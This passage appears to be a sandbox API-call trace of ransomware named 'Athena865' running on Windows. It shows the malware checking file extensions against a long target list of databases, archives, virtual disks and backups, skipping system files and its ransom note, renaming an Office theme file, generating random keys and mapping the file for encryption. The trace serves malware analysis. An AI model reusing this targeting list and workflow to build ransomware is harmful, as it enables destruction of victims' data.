lpString2="adf") returned 1 [0137.332] lstrlenW (lpString="adn") returned 3 [0137.332] lstrcmpiW (lpString1="ftx", lpString2="adn") returned 1 [0137.332] lstrlenW (lpString="adp") returned 3 [0137.332] lstrcmpiW (lpString1="ftx", lpString2="adp") returned 1 [0137.332] lstrlenW (lpString="alf") returned 3 [0137.332] lstrcmpiW (lpString1="ftx", lpString2="alf") returned 1 [0137.332] lstrlenW (lpString="ask") returned 3 [0137.332] lstrcmpiW (lpString1="ftx", lpString2="ask") returned 1 [0137.332] lstrlenW (lpString="btr") returned 3 [0137.332] lstrcmpiW (lpString1="ftx", lpString2="btr") returned 1 [0137.332] lstrlenW (lpString="cat") returned 3 [0137.332] lstrcmpiW (lpString1="ftx", lpString2="cat") returned 1 [0137.332] lstrlenW (lpString="cdb") returned 3 [0137.332] lstrcmpiW (lpString1="ftx", lpString2="cdb") returned 1 [0137.332] lstrlenW (lpString="ckp") returned 3 [0137.332] lstrcmpiW (lpString1="ftx", lpString2="ckp") returned 1 [0137.332] lstrlenW (lpString="cma") returned 3 [0137.332] lstrcmpiW (lpString1="ftx", lpString2="cma") returned 1 [0137.333] lstrlenW (lpString="cpd") returned 3 [0137.333] lstrcmpiW (lpString1="ftx", lpString2="cpd") returned 1 [0137.333] lstrlenW (lpString="dacpac") returned 6 [0137.333] lstrcmpiW (lpString1="n.eftx", lpString2="dacpac") returned 1 [0137.333] lstrlenW (lpString="dad") returned 3 [0137.333] lstrcmpiW (lpString1="ftx", lpString2="dad") returned 1 [0137.333] lstrlenW (lpString="dadiagrams") returned 10 [0137.333] lstrcmpiW (lpString1="shpin.eftx", lpString2="dadiagrams") returned 1 [0137.333] lstrlenW (lpString="daschema") returned 8 [0137.333] lstrcmpiW (lpString1="pin.eftx", lpString2="daschema") returned 1 [0137.333] lstrlenW (lpString="db-journal") returned 10 [0137.333] lstrcmpiW (lpString1="shpin.eftx", lpString2="db-journal") returned 1 [0137.333] lstrlenW (lpString="db-shm") returned 6 [0137.333] lstrcmpiW (lpString1="n.eftx", lpString2="db-shm") returned 1 [0137.333] lstrlenW (lpString="db-wal") returned 6 [0137.333] lstrcmpiW (lpString1="n.eftx", lpString2="db-wal") returned 1 [0137.333] lstrlenW (lpString="dbc") returned 3 [0137.333] lstrcmpiW (lpString1="ftx", lpString2="dbc") returned 1 [0137.333] lstrlenW (lpString="dbs") returned 3 [0137.333] lstrcmpiW (lpString1="ftx", lpString2="dbs") returned 1 [0137.333] lstrlenW (lpString="dbt") returned 3 [0137.333] lstrcmpiW (lpString1="ftx", lpString2="dbt") returned 1 [0137.333] lstrlenW (lpString="dbv") returned 3 [0137.333] lstrcmpiW (lpString1="ftx", lpString2="dbv") returned 1 [0137.333] lstrlenW (lpString="dbx") returned 3 [0137.333] lstrcmpiW (lpString1="ftx", lpString2="dbx") returned 1 [0137.333] lstrlenW (lpString="dcb") returned 3 [0137.333] lstrcmpiW (lpString1="ftx", lpString2="dcb") returned 1 [0137.334] lstrlenW (lpString="dct") returned 3 [0137.334] lstrcmpiW (lpString1="ftx", lpString2="dct") returned 1 [0137.334] lstrlenW (lpString="dcx") returned 3 [0137.334] lstrcmpiW (lpString1="ftx", lpString2="dcx") returned 1 [0137.334] lstrlenW (lpString="ddl") returned 3 [0137.334] lstrcmpiW (lpString1="ftx", lpString2="ddl") returned 1 [0137.334] lstrlenW (lpString="dlis") returned 4 [0137.334] lstrcmpiW (lpString1="eftx", lpString2="dlis") returned 1 [0137.334] lstrlenW (lpString="dp1") returned 3 [0137.334] lstrcmpiW (lpString1="ftx", lpString2="dp1") returned 1 [0137.334] lstrlenW (lpString="dqy") returned 3 [0137.334] lstrcmpiW (lpString1="ftx", lpString2="dqy") returned 1 [0137.334] lstrlenW (lpString="dsk") returned 3 [0137.334] lstrcmpiW (lpString1="ftx", lpString2="dsk") returned 1 [0137.334] lstrlenW (lpString="dsn") returned 3 [0137.334] lstrcmpiW (lpString1="ftx", lpString2="dsn") returned 1 [0137.334] lstrlenW (lpString="dtsx") returned 4 [0137.334] lstrcmpiW (lpString1="eftx", lpString2="dtsx") returned 1 [0137.334] lstrlenW (lpString="dxl") returned 3 [0137.334] lstrcmpiW (lpString1="ftx", lpString2="dxl") returned 1 [0137.334] lstrlenW (lpString="eco") returned 3 [0137.334] lstrcmpiW (lpString1="ftx", lpString2="eco") returned 1 [0137.334] lstrlenW (lpString="ecx") returned 3 [0137.334] lstrcmpiW (lpString1="ftx", lpString2="ecx") returned 1 [0137.334] lstrlenW (lpString="edb") returned 3 [0137.334] lstrcmpiW (lpString1="ftx", lpString2="edb") returned 1 [0137.334] lstrlenW (lpString="epim") returned 4 [0137.335] lstrcmpiW (lpString1="eftx", lpString2="epim") returned -1 [0137.335] lstrlenW (lpString="fcd") returned 3 [0137.335] lstrcmpiW (lpString1="ftx", lpString2="fcd") returned 1 [0137.335] lstrlenW (lpString="fdb") returned 3 [0137.335] lstrcmpiW (lpString1="ftx", lpString2="fdb") returned 1 [0137.335] lstrlenW (lpString="fic") returned 3 [0137.335] lstrcmpiW (lpString1="ftx", lpString2="fic") returned 1 [0137.335] lstrlenW (lpString="flexolibrary") returned 12 [0137.335] lstrlenW (lpString="fm5") returned 3 [0137.335] lstrcmpiW (lpString1="ftx", lpString2="fm5") returned 1 [0137.335] lstrlenW (lpString="fmp") returned 3 [0137.335] lstrcmpiW (lpString1="ftx", lpString2="fmp") returned 1 [0137.335] lstrlenW (lpString="fmp12") returned 5 [0137.335] lstrcmpiW (lpString1=".eftx", lpString2="fmp12") returned -1 [0137.335] lstrlenW (lpString="fmpsl") returned 5 [0137.335] lstrcmpiW (lpString1=".eftx", lpString2="fmpsl") returned -1 [0137.335] lstrlenW (lpString="fol") returned 3 [0137.335] lstrcmpiW (lpString1="ftx", lpString2="fol") returned 1 [0137.335] lstrlenW (lpString="fp3") returned 3 [0137.335] lstrcmpiW (lpString1="ftx", lpString2="fp3") returned 1 [0137.335] lstrlenW (lpString="fp4") returned 3 [0137.335] lstrcmpiW (lpString1="ftx", lpString2="fp4") returned 1 [0137.335] lstrlenW (lpString="fp5") returned 3 [0137.335] lstrcmpiW (lpString1="ftx", lpString2="fp5") returned 1 [0137.335] lstrlenW (lpString="fp7") returned 3 [0137.335] lstrcmpiW (lpString1="ftx", lpString2="fp7") returned 1 [0137.335] lstrlenW (lpString="fpt") returned 3 [0137.336] lstrcmpiW (lpString1="ftx", lpString2="fpt") returned 1 [0137.336] lstrlenW (lpString="frm") returned 3 [0137.336] lstrcmpiW (lpString1="ftx", lpString2="frm") returned 1 [0137.336] lstrlenW (lpString="gdb") returned 3 [0137.336] lstrcmpiW (lpString1="ftx", lpString2="gdb") returned -1 [0137.336] lstrlenW (lpString="gdb") returned 3 [0137.336] lstrcmpiW (lpString1="ftx", lpString2="gdb") returned -1 [0137.336] lstrlenW (lpString="grdb") returned 4 [0137.336] lstrcmpiW (lpString1="eftx", lpString2="grdb") returned -1 [0137.336] lstrlenW (lpString="gwi") returned 3 [0137.336] lstrcmpiW (lpString1="ftx", lpString2="gwi") returned -1 [0137.336] lstrlenW (lpString="hdb") returned 3 [0137.336] lstrcmpiW (lpString1="ftx", lpString2="hdb") returned -1 [0137.336] lstrlenW (lpString="his") returned 3 [0137.336] lstrcmpiW (lpString1="ftx", lpString2="his") returned -1 [0137.336] lstrlenW (lpString="ib") returned 2 [0137.336] lstrcmpiW (lpString1="tx", lpString2="ib") returned 1 [0137.336] lstrlenW (lpString="idb") returned 3 [0137.336] lstrcmpiW (lpString1="ftx", lpString2="idb") returned -1 [0137.336] lstrlenW (lpString="ihx") returned 3 [0137.336] lstrcmpiW (lpString1="ftx", lpString2="ihx") returned -1 [0137.336] lstrlenW (lpString="itdb") returned 4 [0137.336] lstrcmpiW (lpString1="eftx", lpString2="itdb") returned -1 [0137.336] lstrlenW (lpString="itw") returned 3 [0137.336] lstrcmpiW (lpString1="ftx", lpString2="itw") returned -1 [0137.336] lstrlenW (lpString="jet") returned 3 [0137.337] lstrcmpiW (lpString1="ftx", lpString2="jet") returned -1 [0137.337] lstrlenW (lpString="jtx") returned 3 [0137.337] lstrcmpiW (lpString1="ftx", lpString2="jtx") returned -1 [0137.337] lstrlenW (lpString="kdb") returned 3 [0137.337] lstrcmpiW (lpString1="ftx", lpString2="kdb") returned -1 [0137.337] lstrlenW (lpString="kexi") returned 4 [0137.337] lstrcmpiW (lpString1="eftx", lpString2="kexi") returned -1 [0137.337] lstrlenW (lpString="kexic") returned 5 [0137.337] lstrcmpiW (lpString1=".eftx", lpString2="kexic") returned -1 [0137.337] lstrlenW (lpString="kexis") returned 5 [0137.337] lstrcmpiW (lpString1=".eftx", lpString2="kexis") returned -1 [0137.337] lstrlenW (lpString="lgc") returned 3 [0137.337] lstrcmpiW (lpString1="ftx", lpString2="lgc") returned -1 [0137.337] lstrlenW (lpString="lwx") returned 3 [0137.337] lstrcmpiW (lpString1="ftx", lpString2="lwx") returned -1 [0137.337] lstrlenW (lpString="maf") returned 3 [0137.337] lstrcmpiW (lpString1="ftx", lpString2="maf") returned -1 [0137.337] lstrlenW (lpString="maq") returned 3 [0137.337] lstrcmpiW (lpString1="ftx", lpString2="maq") returned -1 [0137.337] lstrlenW (lpString="mar") returned 3 [0137.337] lstrcmpiW (lpString1="ftx", lpString2="mar") returned -1 [0137.337] lstrlenW (lpString="marshal") returned 7 [0137.337] lstrcmpiW (lpString1="in.eftx", lpString2="marshal") returned -1 [0137.337] lstrlenW (lpString="mas") returned 3 [0137.337] lstrcmpiW (lpString1="ftx", lpString2="mas") returned -1 [0137.337] lstrlenW (lpString="mav") returned 3 [0137.338] lstrcmpiW (lpString1="ftx", lpString2="mav") returned -1 [0137.338] lstrlenW (lpString="maw") returned 3 [0137.338] lstrcmpiW (lpString1="ftx", lpString2="maw") returned -1 [0137.338] lstrlenW (lpString="mdbhtml") returned 7 [0137.338] lstrcmpiW (lpString1="in.eftx", lpString2="mdbhtml") returned -1 [0137.338] lstrlenW (lpString="mdn") returned 3 [0137.338] lstrcmpiW (lpString1="ftx", lpString2="mdn") returned -1 [0137.338] lstrlenW (lpString="mdt") returned 3 [0137.338] lstrcmpiW (lpString1="ftx", lpString2="mdt") returned -1 [0137.338] lstrlenW (lpString="mfd") returned 3 [0137.338] lstrcmpiW (lpString1="ftx", lpString2="mfd") returned -1 [0137.338] lstrlenW (lpString="mpd") returned 3 [0137.338] lstrcmpiW (lpString1="ftx", lpString2="mpd") returned -1 [0137.338] lstrlenW (lpString="mrg") returned 3 [0137.338] lstrcmpiW (lpString1="ftx", lpString2="mrg") returned -1 [0137.338] lstrlenW (lpString="mud") returned 3 [0137.338] lstrcmpiW (lpString1="ftx", lpString2="mud") returned -1 [0137.338] lstrlenW (lpString="mwb") returned 3 [0137.338] lstrcmpiW (lpString1="ftx", lpString2="mwb") returned -1 [0137.338] lstrlenW (lpString="myd") returned 3 [0137.338] lstrcmpiW (lpString1="ftx", lpString2="myd") returned -1 [0137.338] lstrlenW (lpString="ndf") returned 3 [0137.338] lstrcmpiW (lpString1="ftx", lpString2="ndf") returned -1 [0137.338] lstrlenW (lpString="nnt") returned 3 [0137.338] lstrcmpiW (lpString1="ftx", lpString2="nnt") returned -1 [0137.338] lstrlenW (lpString="nrmlib") returned 6 [0137.338] lstrcmpiW (lpString1="n.eftx", lpString2="nrmlib") returned -1 [0137.339] lstrlenW (lpString="ns2") returned 3 [0137.339] lstrcmpiW (lpString1="ftx", lpString2="ns2") returned -1 [0137.339] lstrlenW (lpString="ns3") returned 3 [0137.339] lstrcmpiW (lpString1="ftx", lpString2="ns3") returned -1 [0137.339] lstrlenW (lpString="ns4") returned 3 [0137.339] lstrcmpiW (lpString1="ftx", lpString2="ns4") returned -1 [0137.339] lstrlenW (lpString="nsf") returned 3 [0137.339] lstrcmpiW (lpString1="ftx", lpString2="nsf") returned -1 [0137.339] lstrlenW (lpString="nv") returned 2 [0137.339] lstrcmpiW (lpString1="tx", lpString2="nv") returned 1 [0137.339] lstrlenW (lpString="nv2") returned 3 [0137.339] lstrcmpiW (lpString1="ftx", lpString2="nv2") returned -1 [0137.339] lstrlenW (lpString="nwdb") returned 4 [0137.339] lstrcmpiW (lpString1="eftx", lpString2="nwdb") returned -1 [0137.339] lstrlenW (lpString="nyf") returned 3 [0137.339] lstrcmpiW (lpString1="ftx", lpString2="nyf") returned -1 [0137.339] lstrlenW (lpString="odb") returned 3 [0137.339] lstrcmpiW (lpString1="ftx", lpString2="odb") returned -1 [0137.339] lstrlenW (lpString="odb") returned 3 [0137.339] lstrcmpiW (lpString1="ftx", lpString2="odb") returned -1 [0137.339] lstrlenW (lpString="oqy") returned 3 [0137.339] lstrcmpiW (lpString1="ftx", lpString2="oqy") returned -1 [0137.339] lstrlenW (lpString="ora") returned 3 [0137.339] lstrcmpiW (lpString1="ftx", lpString2="ora") returned -1 [0137.339] lstrlenW (lpString="orx") returned 3 [0137.339] lstrcmpiW (lpString1="ftx", lpString2="orx") returned -1 [0137.339] lstrlenW (lpString="owc") returned 3 [0137.339] lstrcmpiW (lpString1="ftx", lpString2="owc") returned -1 [0137.340] lstrlenW (lpString="p96") returned 3 [0137.340] lstrcmpiW (lpString1="ftx", lpString2="p96") returned -1 [0137.340] lstrlenW (lpString="p97") returned 3 [0137.340] lstrcmpiW (lpString1="ftx", lpString2="p97") returned -1 [0137.340] lstrlenW (lpString="pan") returned 3 [0137.340] lstrcmpiW (lpString1="ftx", lpString2="pan") returned -1 [0137.340] lstrlenW (lpString="pdb") returned 3 [0137.340] lstrcmpiW (lpString1="ftx", lpString2="pdb") returned -1 [0137.340] lstrlenW (lpString="pdm") returned 3 [0137.340] lstrcmpiW (lpString1="ftx", lpString2="pdm") returned -1 [0137.340] lstrlenW (lpString="pnz") returned 3 [0137.340] lstrcmpiW (lpString1="ftx", lpString2="pnz") returned -1 [0137.340] lstrlenW (lpString="qry") returned 3 [0137.340] lstrcmpiW (lpString1="ftx", lpString2="qry") returned -1 [0137.340] lstrlenW (lpString="qvd") returned 3 [0137.340] lstrcmpiW (lpString1="ftx", lpString2="qvd") returned -1 [0137.340] lstrlenW (lpString="rbf") returned 3 [0137.340] lstrcmpiW (lpString1="ftx", lpString2="rbf") returned -1 [0137.340] lstrlenW (lpString="rctd") returned 4 [0137.340] lstrcmpiW (lpString1="eftx", lpString2="rctd") returned -1 [0137.340] lstrlenW (lpString="rod") returned 3 [0137.340] lstrcmpiW (lpString1="ftx", lpString2="rod") returned -1 [0137.340] lstrlenW (lpString="rodx") returned 4 [0137.340] lstrcmpiW (lpString1="eftx", lpString2="rodx") returned -1 [0137.340] lstrlenW (lpString="rpd") returned 3 [0137.340] lstrcmpiW (lpString1="ftx", lpString2="rpd") returned -1 [0137.340] lstrlenW (lpString="rsd") returned 3 [0137.340] lstrcmpiW (lpString1="ftx", lpString2="rsd") returned -1 [0137.341] lstrlenW (lpString="sas7bdat") returned 8 [0137.341] lstrcmpiW (lpString1="pin.eftx", lpString2="sas7bdat") returned -1 [0137.341] lstrlenW (lpString="sbf") returned 3 [0137.341] lstrcmpiW (lpString1="ftx", lpString2="sbf") returned -1 [0137.341] lstrlenW (lpString="scx") returned 3 [0137.341] lstrcmpiW (lpString1="ftx", lpString2="scx") returned -1 [0137.341] lstrlenW (lpString="sdb") returned 3 [0137.341] lstrcmpiW (lpString1="ftx", lpString2="sdb") returned -1 [0137.341] lstrlenW (lpString="sdc") returned 3 [0137.341] lstrcmpiW (lpString1="ftx", lpString2="sdc") returned -1 [0137.341] lstrlenW (lpString="sdf") returned 3 [0137.341] lstrcmpiW (lpString1="ftx", lpString2="sdf") returned -1 [0137.341] lstrlenW (lpString="sis") returned 3 [0137.341] lstrcmpiW (lpString1="ftx", lpString2="sis") returned -1 [0137.341] lstrlenW (lpString="spq") returned 3 [0137.341] lstrcmpiW (lpString1="ftx", lpString2="spq") returned -1 [0137.341] lstrlenW (lpString="te") returned 2 [0137.341] lstrcmpiW (lpString1="tx", lpString2="te") returned 1 [0137.341] lstrlenW (lpString="teacher") returned 7 [0137.341] lstrcmpiW (lpString1="in.eftx", lpString2="teacher") returned -1 [0137.341] lstrlenW (lpString="tmd") returned 3 [0137.341] lstrcmpiW (lpString1="ftx", lpString2="tmd") returned -1 [0137.341] lstrlenW (lpString="tps") returned 3 [0137.341] lstrcmpiW (lpString1="ftx", lpString2="tps") returned -1 [0137.341] lstrlenW (lpString="trc") returned 3 [0137.341] lstrcmpiW (lpString1="ftx", lpString2="trc") returned -1 [0137.341] lstrlenW (lpString="trc") returned 3 [0137.341] lstrcmpiW (lpString1="ftx", lpString2="trc") returned -1 [0137.342] lstrlenW (lpString="trm") returned 3 [0137.342] lstrcmpiW (lpString1="ftx", lpString2="trm") returned -1 [0137.342] lstrlenW (lpString="udb") returned 3 [0137.342] lstrcmpiW (lpString1="ftx", lpString2="udb") returned -1 [0137.342] lstrlenW (lpString="udl") returned 3 [0137.342] lstrcmpiW (lpString1="ftx", lpString2="udl") returned -1 [0137.342] lstrlenW (lpString="usr") returned 3 [0137.342] lstrcmpiW (lpString1="ftx", lpString2="usr") returned -1 [0137.342] lstrlenW (lpString="v12") returned 3 [0137.342] lstrcmpiW (lpString1="ftx", lpString2="v12") returned -1 [0137.342] lstrlenW (lpString="vis") returned 3 [0137.342] lstrcmpiW (lpString1="ftx", lpString2="vis") returned -1 [0137.342] lstrlenW (lpString="vpd") returned 3 [0137.342] lstrcmpiW (lpString1="ftx", lpString2="vpd") returned -1 [0137.342] lstrlenW (lpString="vvv") returned 3 [0137.342] lstrcmpiW (lpString1="ftx", lpString2="vvv") returned -1 [0137.342] lstrlenW (lpString="wdb") returned 3 [0137.342] lstrcmpiW (lpString1="ftx", lpString2="wdb") returned -1 [0137.342] lstrlenW (lpString="wmdb") returned 4 [0137.342] lstrcmpiW (lpString1="eftx", lpString2="wmdb") returned -1 [0137.342] lstrlenW (lpString="wrk") returned 3 [0137.342] lstrcmpiW (lpString1="ftx", lpString2="wrk") returned -1 [0137.342] lstrlenW (lpString="xdb") returned 3 [0137.342] lstrcmpiW (lpString1="ftx", lpString2="xdb") returned -1 [0137.342] lstrlenW (lpString="xld") returned 3 [0137.342] lstrcmpiW (lpString1="ftx", lpString2="xld") returned -1 [0137.342] lstrlenW (lpString="xmlff") returned 5 [0137.342] lstrcmpiW (lpString1=".eftx", lpString2="xmlff") returned -1 [0137.343] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Pushpin.eftx.Athena865") returned 89 [0137.343] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Pushpin.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\pushpin.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Pushpin.eftx.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\pushpin.eftx.athena865"), dwFlags=0x1) returned 1 [0137.344] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Pushpin.eftx.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\pushpin.eftx.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0137.344] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=782121) returned 1 [0137.344] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0137.345] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0137.345] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0137.345] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xbf230, lpName=0x0) returned 0x17c [0137.347] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xbf230) returned 0x2bb0000 [0137.381] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0137.382] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0137.382] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0137.395] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x845abe00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5c62e40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x845abe00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x6c8d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Slipstream.eftx", cAlternateFileName="SLIPST~1.EFT")) returned 1 [0137.395] lstrcmpiW (lpString1="Slipstream.eftx", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0137.395] lstrcmpiW (lpString1="Slipstream.eftx", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0137.395] lstrcpyW (in: lpString1=0x241e8ce, lpString2="Slipstream.eftx" | out: lpString1="Slipstream.eftx") returned="Slipstream.eftx" [0137.395] lstrlenW (lpString="Slipstream.eftx") returned 15 [0137.395] lstrlenW (lpString="Athena865") returned 9 [0137.395] lstrcmpiW (lpString1="ream.eftx", lpString2="Athena865") returned 1 [0137.395] lstrlenW (lpString=".dll") returned 4 [0137.395] lstrcmpiW (lpString1="Slipstream.eftx", lpString2=".dll") returned 1 [0137.395] lstrlenW (lpString=".lnk") returned 4 [0137.395] lstrcmpiW (lpString1="Slipstream.eftx", lpString2=".lnk") returned 1 [0137.395] lstrlenW (lpString=".ini") returned 4 [0137.395] lstrcmpiW (lpString1="Slipstream.eftx", lpString2=".ini") returned 1 [0137.395] lstrlenW (lpString=".sys") returned 4 [0137.395] lstrcmpiW (lpString1="Slipstream.eftx", lpString2=".sys") returned 1 [0137.395] lstrlenW (lpString="Slipstream.eftx") returned 15 [0137.395] lstrlenW (lpString="bak") returned 3 [0137.395] lstrcmpiW (lpString1="ftx", lpString2="bak") returned 1 [0137.396] lstrlenW (lpString="ba_") returned 3 [0137.396] lstrcmpiW (lpString1="ftx", lpString2="ba_") returned 1 [0137.396] lstrlenW (lpString="dbb") returned 3 [0137.396] lstrcmpiW (lpString1="ftx", lpString2="dbb") returned 1 [0137.396] lstrlenW (lpString="vmdk") returned 4 [0137.396] lstrcmpiW (lpString1="eftx", lpString2="vmdk") returned -1 [0137.396] lstrlenW (lpString="rar") returned 3 [0137.396] lstrcmpiW (lpString1="ftx", lpString2="rar") returned -1 [0137.396] lstrlenW (lpString="zip") returned 3 [0137.396] lstrcmpiW (lpString1="ftx", lpString2="zip") returned -1 [0137.396] lstrlenW (lpString="tgz") returned 3 [0137.396] lstrcmpiW (lpString1="ftx", lpString2="tgz") returned -1 [0137.396] lstrlenW (lpString="vbox") returned 4 [0137.396] lstrcmpiW (lpString1="eftx", lpString2="vbox") returned -1 [0137.396] lstrlenW (lpString="vdi") returned 3 [0137.396] lstrcmpiW (lpString1="ftx", lpString2="vdi") returned -1 [0137.396] lstrlenW (lpString="vhd") returned 3 [0137.396] lstrcmpiW (lpString1="ftx", lpString2="vhd") returned -1 [0137.396] lstrlenW (lpString="vhdx") returned 4 [0137.396] lstrcmpiW (lpString1="eftx", lpString2="vhdx") returned -1 [0137.396] lstrlenW (lpString="avhd") returned 4 [0137.396] lstrcmpiW (lpString1="eftx", lpString2="avhd") returned 1 [0137.396] lstrlenW (lpString="db") returned 2 [0137.396] lstrcmpiW (lpString1="tx", lpString2="db") returned 1 [0137.396] lstrlenW (lpString="db2") returned 3 [0137.396] lstrcmpiW (lpString1="ftx", lpString2="db2") returned 1 [0137.396] lstrlenW (lpString="db3") returned 3 [0137.396] lstrcmpiW (lpString1="ftx", lpString2="db3") returned 1 [0137.397] lstrlenW (lpString="dbf") returned 3 [0137.397] lstrcmpiW (lpString1="ftx", lpString2="dbf") returned 1 [0137.397] lstrlenW (lpString="mdf") returned 3 [0137.397] lstrcmpiW (lpString1="ftx", lpString2="mdf") returned -1 [0137.397] lstrlenW (lpString="mdb") returned 3 [0137.397] lstrcmpiW (lpString1="ftx", lpString2="mdb") returned -1 [0137.397] lstrlenW (lpString="sql") returned 3 [0137.397] lstrcmpiW (lpString1="ftx", lpString2="sql") returned -1 [0137.397] lstrlenW (lpString="sqlite") returned 6 [0137.397] lstrcmpiW (lpString1="m.eftx", lpString2="sqlite") returned -1 [0137.397] lstrlenW (lpString="sqlite3") returned 7 [0137.397] lstrcmpiW (lpString1="am.eftx", lpString2="sqlite3") returned -1 [0137.397] lstrlenW (lpString="sqlitedb") returned 8 [0137.397] lstrcmpiW (lpString1="eam.eftx", lpString2="sqlitedb") returned -1 [0137.397] lstrlenW (lpString="xml") returned 3 [0137.397] lstrcmpiW (lpString1="ftx", lpString2="xml") returned -1 [0137.397] lstrlenW (lpString="$er") returned 3 [0137.397] lstrcmpiW (lpString1="ftx", lpString2="$er") returned 1 [0137.397] lstrlenW (lpString="4dd") returned 3 [0137.397] lstrcmpiW (lpString1="ftx", lpString2="4dd") returned 1 [0137.397] lstrlenW (lpString="4dl") returned 3 [0137.397] lstrcmpiW (lpString1="ftx", lpString2="4dl") returned 1 [0137.397] lstrlenW (lpString="^^^") returned 3 [0137.397] lstrcmpiW (lpString1="ftx", lpString2="^^^") returned 1 [0137.397] lstrlenW (lpString="abs") returned 3 [0137.397] lstrcmpiW (lpString1="ftx", lpString2="abs") returned 1 [0137.397] lstrlenW (lpString="abx") returned 3 [0137.397] lstrcmpiW (lpString1="ftx", lpString2="abx") returned 1 [0137.398] lstrlenW (lpString="accdb") returned 5 [0137.398] lstrcmpiW (lpString1=".eftx", lpString2="accdb") returned -1 [0137.398] lstrlenW (lpString="accdc") returned 5 [0137.398] lstrcmpiW (lpString1=".eftx", lpString2="accdc") returned -1 [0137.398] lstrlenW (lpString="accde") returned 5 [0137.398] lstrcmpiW (lpString1=".eftx", lpString2="accde") returned -1 [0137.398] lstrlenW (lpString="accdr") returned 5 [0137.398] lstrcmpiW (lpString1=".eftx", lpString2="accdr") returned -1 [0137.398] lstrlenW (lpString="accdt") returned 5 [0137.398] lstrcmpiW (lpString1=".eftx", lpString2="accdt") returned -1 [0137.398] lstrlenW (lpString="accdw") returned 5 [0137.398] lstrcmpiW (lpString1=".eftx", lpString2="accdw") returned -1 [0137.398] lstrlenW (lpString="accft") returned 5 [0137.398] lstrcmpiW (lpString1=".eftx", lpString2="accft") returned -1 [0137.398] lstrlenW (lpString="adb") returned 3 [0137.398] lstrcmpiW (lpString1="ftx", lpString2="adb") returned 1 [0137.398] lstrlenW (lpString="adb") returned 3 [0137.398] lstrcmpiW (lpString1="ftx", lpString2="adb") returned 1 [0137.398] lstrlenW (lpString="ade") returned 3 [0137.398] lstrcmpiW (lpString1="ftx", lpString2="ade") returned 1 [0137.398] lstrlenW (lpString="adf") returned 3 [0137.398] lstrcmpiW (lpString1="ftx", lpString2="adf") returned 1 [0137.398] lstrlenW (lpString="adn") returned 3 [0137.398] lstrcmpiW (lpString1="ftx", lpString2="adn") returned 1 [0137.398] lstrlenW (lpString="adp") returned 3 [0137.398] lstrcmpiW (lpString1="ftx", lpString2="adp") returned 1 [0137.398] lstrlenW (lpString="alf") returned 3 [0137.399] lstrcmpiW (lpString1="ftx", lpString2="alf") returned 1 [0137.399] lstrlenW (lpString="ask") returned 3 [0137.399] lstrcmpiW (lpString1="ftx", lpString2="ask") returned 1 [0137.399] lstrlenW (lpString="btr") returned 3 [0137.399] lstrcmpiW (lpString1="ftx", lpString2="btr") returned 1 [0137.399] lstrlenW (lpString="cat") returned 3 [0137.399] lstrcmpiW (lpString1="ftx", lpString2="cat") returned 1 [0137.399] lstrlenW (lpString="cdb") returned 3 [0137.399] lstrcmpiW (lpString1="ftx", lpString2="cdb") returned 1 [0137.399] lstrlenW (lpString="ckp") returned 3 [0137.399] lstrcmpiW (lpString1="ftx", lpString2="ckp") returned 1 [0137.399] lstrlenW (lpString="cma") returned 3 [0137.399] lstrcmpiW (lpString1="ftx", lpString2="cma") returned 1 [0137.399] lstrlenW (lpString="cpd") returned 3 [0137.399] lstrcmpiW (lpString1="ftx", lpString2="cpd") returned 1 [0137.399] lstrlenW (lpString="dacpac") returned 6 [0137.399] lstrcmpiW (lpString1="m.eftx", lpString2="dacpac") returned 1 [0137.399] lstrlenW (lpString="dad") returned 3 [0137.399] lstrcmpiW (lpString1="ftx", lpString2="dad") returned 1 [0137.399] lstrlenW (lpString="dadiagrams") returned 10 [0137.399] lstrcmpiW (lpString1="tream.eftx", lpString2="dadiagrams") returned 1 [0137.399] lstrlenW (lpString="daschema") returned 8 [0137.399] lstrcmpiW (lpString1="eam.eftx", lpString2="daschema") returned 1 [0137.399] lstrlenW (lpString="db-journal") returned 10 [0137.399] lstrcmpiW (lpString1="tream.eftx", lpString2="db-journal") returned 1 [0137.399] lstrlenW 